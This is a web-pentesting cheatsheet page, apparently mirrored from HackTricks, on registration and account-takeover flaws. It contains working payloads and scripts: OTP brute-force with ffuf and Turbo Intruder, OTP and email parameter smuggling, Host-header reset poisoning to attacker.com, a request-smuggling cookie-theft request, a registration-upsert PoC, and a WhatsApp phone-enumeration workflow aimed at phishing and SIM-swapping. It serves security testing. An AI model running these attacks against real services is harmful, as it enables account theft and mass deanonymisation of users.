daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

registration-vulnerabilities.md (17386B)


      1 ---
      2 title: "Registration & Takeover Vulnerabilities"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/registration-vulnerabilities.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/registration-vulnerabilities.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Registration & Takeover Vulnerabilities
     14 
     15 ## Registration Takeover
     16 
     17 ### Duplicate Registration
     18 
     19 - Try to generate using an existing username
     20 - Check varying the email:
     21   - uppercase
     22   - +1@
     23   - add some dot in the email
     24   - special characters in the email name (%00, %09, %20)
     25   - Put blank characters after the email: `test@test.com a`
     26   - victim@gmail.com@attacker.com
     27   - victim@attacker.com@gmail.com
     28   - Try email provider canonicalization tricks (service-dependent):
     29     - Gmail ignores dots and subaddressing: `victim+1@gmail.com`, `v.ic.tim@gmail.com` deliver to `victim@gmail.com`
     30     - Some providers are case-insensitive in the local-part
     31     - Some providers accept unicode confusables. Try homoglyphs and soft hyphen `\u00AD` within the local-part
     32   - Abuse these to: bypass uniqueness checks, obtain duplicate accounts/workspace invites, or block victim sign‑ups (temporary DoS) while you prepare a takeover
     33 
     34 ### Username Enumeration
     35 
     36 Check if you can figure out when a username has already been registered inside the application.
     37 
     38 - Different error messages or HTTP status codes
     39 - Timing differences (existing user may trigger lookup to IdP/DB)
     40 - Registration form autofill of profile data for known emails
     41 - Check team/invite flows: entering an email may reveal whether an account exists
     42 
     43 ### Password Policy
     44 
     45 When creating a user, check whether the password policy permits weak passwords. If it does, assess whether credential brute force is also insufficiently rate-limited.
     46 
     47 ### SQL Injection
     48 
     49 [**Check this page**](sql-injection/index.html#insert-statement) for techniques to test **SQL injection** in registration forms, including account-takeover and data-extraction paths.
     50 
     51 ### OAuth Takeovers
     52 
     53 
     54 [Oauth To Account Takeover](/hacktricks/pentesting-web/oauth-to-account-takeover)
     55 
     56 ### SAML Vulnerabilities
     57 
     58 
     59 [Saml Attacks](/hacktricks/pentesting-web/saml-attacks/overview)
     60 
     61 ### Change Email
     62 
     63 After registration, try changing the email address and verify that ownership of the new address is validated before it becomes trusted.
     64 
     65 ### More Checks
     66 
     67 - Check if you can use **disposable emails** (mailinator, yopmail, 1secmail, etc.) or bypass the blocklist with subaddressing like `victim+mailinator@gmail.com`
     68 - **Long** **password** (>200) leads to **DoS**
     69 - **Check rate limits on account creation**
     70 - Use username@**burp_collab**.net and analyze the **callback**
     71 - If phone number verification is used, check phone parsing/injection edge cases
     72 
     73 [Phone Number Injections](/hacktricks/pentesting-web/phone-number-injections)
     74 
     75 [Captcha Bypass](/hacktricks/pentesting-web/captcha-bypass)
     76 
     77 ### Contact-discovery / identifier-enumeration oracles
     78 
     79 Phone-number–centric messengers expose a **presence oracle** whenever the client syncs contacts. Replaying WhatsApp’s discovery requests historically delivered **>100M lookups per hour**, enabling near-complete account enumerations.<sup>[[4]](#references)</sup>
     80 
     81 **Attack workflow**
     82 
     83 1. **Instrument an official client** to capture the address-book upload request (authenticated blob of normalized E.164 numbers). Replay it with attacker-generated numbers while reusing the same cookies/device token.
     84 2. **Batch numbers per request**: WhatsApp accepts thousands of identifiers and returns registered/unregistered plus metadata (business, companion, etc.). Analyze responses offline to build target lists without messaging victims.
     85 3. **Horizontally scale** enumeration with SIM banks, cloud devices, or residential proxies so per-account/IP/ASN throttling never triggers.
     86 
     87 **Dialing-plan modeling**
     88 
     89 Model each country’s dialing plan to skip invalid candidates. The NDSS dataset (`country-table.*`) lists country codes, adoption density, and platform split so you can prioritize high-hit ranges. Example seeding code:
     90 
     91 ```python
     92 import pandas as pd
     93 from itertools import product
     94 
     95 df = pd.read_csv("country-table.csv")
     96 row = df[df["Country"] == "India"].iloc[0]
     97 prefix = "+91"  # India mobile numbers are 10 digits
     98 for suffix in product("0123456789", repeat=10):
     99     candidate = prefix + "".join(suffix)
    100     enqueue(candidate)
    101 ```
    102 
    103 Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.
    104 
    105 **Turning enumerations into targeted attacks**
    106 
    107 - Feed leaked phone numbers (e.g., Facebook’s 2021 breach) into the oracle to learn which identities are still active before phishing, SIM-swapping, or spamming.
    108 - Slice censuses by country/OS/app type to find regions with weak SMS filtering or heavy WhatsApp Business adoption for localized social engineering.
    109 
    110 **Public-key reuse correlation**
    111 
    112 WhatsApp exposes each account’s X25519 identity key during session setup. Request identity material for every enumerated number and deduplicate the public keys to reveal account farms, cloned clients, or insecure firmware—shared keys deanonymize multi-SIM operations.
    113 
    114 ## Weak Email/Phone Verification (OTP/Magic Link)
    115 
    116 Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws:
    117 
    118 - Guessable or short OTP (4–6 digits) with no effective rate limiting or IP/device tracking. Try parallel guesses and header/IP rotation.
    119 - OTP reuse across actions or accounts, or not bound to the specific user/action (e.g., same code works for login and signup, or works after email is changed).
    120 - Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try:
    121   - `code=000000&code=123456`
    122   - JSON arrays: `{"code":["000000","123456"]}`
    123   - Mixed parameter names: `otp=000000&one_time_code=123456`
    124   - Comma/pipe separated values: `code=000000,123456` or `code=000000|123456`
    125 - Response oracle: distinguish wrong vs expired vs wrong-user codes by status/message/body length.
    126 - Tokens not invalidated after success or after password/email change.
    127 - Verification token not tied to user agent/IP allowing cross-origin completion from attacker-controlled pages.
    128 
    129 Bruteforcing example with ffuf against a JSON OTP endpoint:
    130 
    131 ```bash
    132 ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
    133   -H 'Content-Type: application/json' \
    134   -d '{"email":"victim@example.com","code":"FUZZ"}' \
    135   -fr 'Invalid|Too many attempts' -mc all
    136 ```
    137 
    138 Parallel/concurrent guessing to bypass sequential lockouts (use Turbo Intruder in Burp):
    139 
    140 <details>
    141 <summary>Turbo Intruder snippet to flood 6‑digit OTP attempts</summary>
    142 
    143 ```python
    144 def queueRequests(target, wordlists):
    145     engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100)
    146     for code in range(0,1000000):
    147         body = '{"email":"victim@example.com","code":"%06d"}' % code
    148         engine.queue(target.req, body=body)
    149 
    150 
    151 def handleResponse(req, interesting):
    152     if req.status != 401 and b'Invalid' not in req.response:
    153         table.add(req)
    154 ```
    155 </details>
    156 
    157 - Try racing verification: submit the same valid OTP simultaneously in two sessions; sometimes one session becomes a verified attacker account while the victim flow also succeeds.
    158 - Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.
    159 
    160 [Rate Limit Bypass](/hacktricks/pentesting-web/rate-limit-bypass)
    161 
    162 [2Fa Bypass](/hacktricks/pentesting-web/2fa-bypass)
    163 
    164 [Email Injections](/hacktricks/pentesting-web/email-injections)
    165 
    166 ## Account Pre‑Hijacking Techniques (before the victim signs up)
    167 
    168 A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later.
    169 
    170 Key techniques to test (adapt to the target’s flows):
    171 
    172 - Classic–Federated Merge
    173   - Attacker: registers a classic account with victim email and sets a password
    174   - Victim: later signs up with SSO (same email)
    175   - Insecure merges may leave both parties logged in or resurrect the attacker’s access
    176 - Unexpired Session Identifier
    177   - Attacker: creates account and holds a long‑lived session (don’t log out)
    178   - Victim: recovers/sets password and uses the account
    179   - Test if old sessions stay valid after reset or MFA enablement
    180 - Trojan Identifier
    181   - Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
    182   - Victim: resets password; attacker later uses the trojan identifier to reset/login
    183 - Unexpired Email Change
    184   - Attacker: initiates email‑change to attacker mail and withholds confirmation
    185   - Victim: recovers the account and starts using it
    186   - Attacker: later completes the pending email‑change to steal the account
    187 - Non‑Verifying IdP
    188   - Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
    189   - Victim: signs up via classic route
    190   - Service merges on email without checking `email_verified` or performing local verification
    191 
    192 Practical tips
    193 
    194 - Harvest flows and endpoints from web/mobile bundles. Look for classic signup, SSO linking, email/phone change, and password reset endpoints.
    195 - Create realistic automation to keep sessions alive while you exercise other flows.
    196 - For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
    197 - After any password reset or email change, verify that:
    198   - all other sessions and tokens are invalidated,
    199   - pending email/phone change capabilities are cancelled,
    200   - previously linked IdPs/emails/phones are re‑verified.
    201 
    202 Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).<sup>[[2]](#references)</sup>
    203 
    204 [Reset Password](/hacktricks/pentesting-web/reset-password)
    205 
    206 [Race Condition](/hacktricks/pentesting-web/race-condition)
    207 
    208 ## **Password Reset Takeover**
    209 
    210 ### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
    211 
    212 1. Request password reset to your email address
    213 2. Click on the password reset link
    214 3. Don’t change password
    215 4. Click any 3rd party websites(eg: Facebook, twitter)
    216 5. Intercept the request in Burp Suite proxy
    217 6. Check if the referer header is leaking password reset token.
    218 
    219 ### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
    220 
    221 1. Intercept the password reset request in Burp Suite
    222 2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
    223 3. Forward the request with the modified header\
    224    `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
    225 4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
    226 
    227 ### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
    228 
    229 ```bash
    230 # parameter pollution
    231 email=victim@mail.com&email=hacker@mail.com
    232 
    233 # array of emails
    234 {"email":["victim@mail.com","hacker@mail.com"]}
    235 
    236 # carbon copy
    237 email=victim@mail.com%0A%0Dcc:hacker@mail.com
    238 email=victim@mail.com%0A%0Dbcc:hacker@mail.com
    239 
    240 # separator
    241 email=victim@mail.com,hacker@mail.com
    242 email=victim@mail.com%20hacker@mail.com
    243 email=victim@mail.com|hacker@mail.com
    244 ```
    245 
    246 ### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
    247 
    248 1. Attacker have to login with their account and go to the **Change password** feature.
    249 2. Start the Burp Suite and Intercept the request
    250 3. Send it to the repeater tab and edit the parameters : User ID/email\
    251    `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
    252 
    253 ### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
    254 
    255 The password reset token should be randomly generated and unique every time.\
    256 Try to determine if the token expire or if it’s always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.<sup>[[3]](#references)</sup>
    257 
    258 - Timestamp
    259 - UserID
    260 - Email of User
    261 - Firstname and Lastname
    262 - Date of Birth
    263 - Cryptography
    264 - Number only
    265 - Small token sequence ( characters between \[A-Z,a-z,0-9])
    266 - Token reuse
    267 - Token expiration date
    268 
    269 ### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
    270 
    271 1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
    272 2. Inspect the server response and check for `resetToken`
    273 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
    274 
    275 ### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
    276 
    277 1. Register on the system with a username identical to the victim’s username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
    278 2. Request a password reset with your malicious username.
    279 3. Use the token sent to your email and reset the victim password.
    280 4. Connect to the victim account with the new password.
    281 
    282 The platform CTFd was vulnerable to this attack.\
    283 See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
    284 
    285 ### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
    286 
    287 1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
    288 2. Leak the current **sessions cookie**
    289 3. Authenticate as the user using the cookie
    290 
    291 ### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
    292 
    293 1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\
    294 `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
    295 2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\
    296 `GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\
    297 3. Final request could look like the following
    298 
    299 ```text
    300 GET / HTTP/1.1
    301 Transfer-Encoding: chunked
    302 Host: something.com
    303 User-Agent: Smuggler/v1.0
    304 Content-Length: 83
    305 0
    306 
    307 GET http://something.burpcollaborator.net  HTTP/1.1
    308 X: X
    309 ```
    310 
    311 Hackerone reports exploiting this bug\
    312 * [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
    313 * [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
    314 
    315 ### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
    316 
    317 1. Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change”
    318 2. Send the payload
    319 
    320 ### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
    321 
    322 JSON Web Tokens may be used to authenticate a user.
    323 
    324 - Edit the JWT with another User ID / Email
    325 - Check for weak JWT signature
    326 
    327 
    328 [Hacking Jwt Json Web Tokens](/hacktricks/pentesting-web/hacking-jwt-json-web-tokens)
    329 
    330 ## Registration-as-Reset (Upsert on Existing Email)
    331 
    332 Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.<sup>[[1]](#references)</sup>
    333 
    334 - Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
    335 - Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
    336 - Minimal body observed in the wild:
    337 
    338 ```json
    339 {"email":"victim@example.com","password":"New@12345"}
    340 ```
    341 
    342 Example PoC:
    343 
    344 ```http
    345 POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
    346 Host: www.target.tld
    347 Content-Type: application/json
    348 
    349 {"email":"victim@example.com","password":"New@12345"}
    350 ```
    351 
    352 Impact: Full Account Takeover (ATO) without any reset token, OTP, or email verification.
    353 
    354 ## References
    355 
    356 - [1] [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
    357 - [2] [Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)](https://msrc.microsoft.com/blog/2022/05/pre-hijacking-attacks/)
    358 - [3] [SalmonSec – Account Takeover cheatsheet](https://salmonsec.com/cheatsheet/account_takeover)
    359 - [4] [Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)](https://github.com/sbaresearch/whatsapp-census)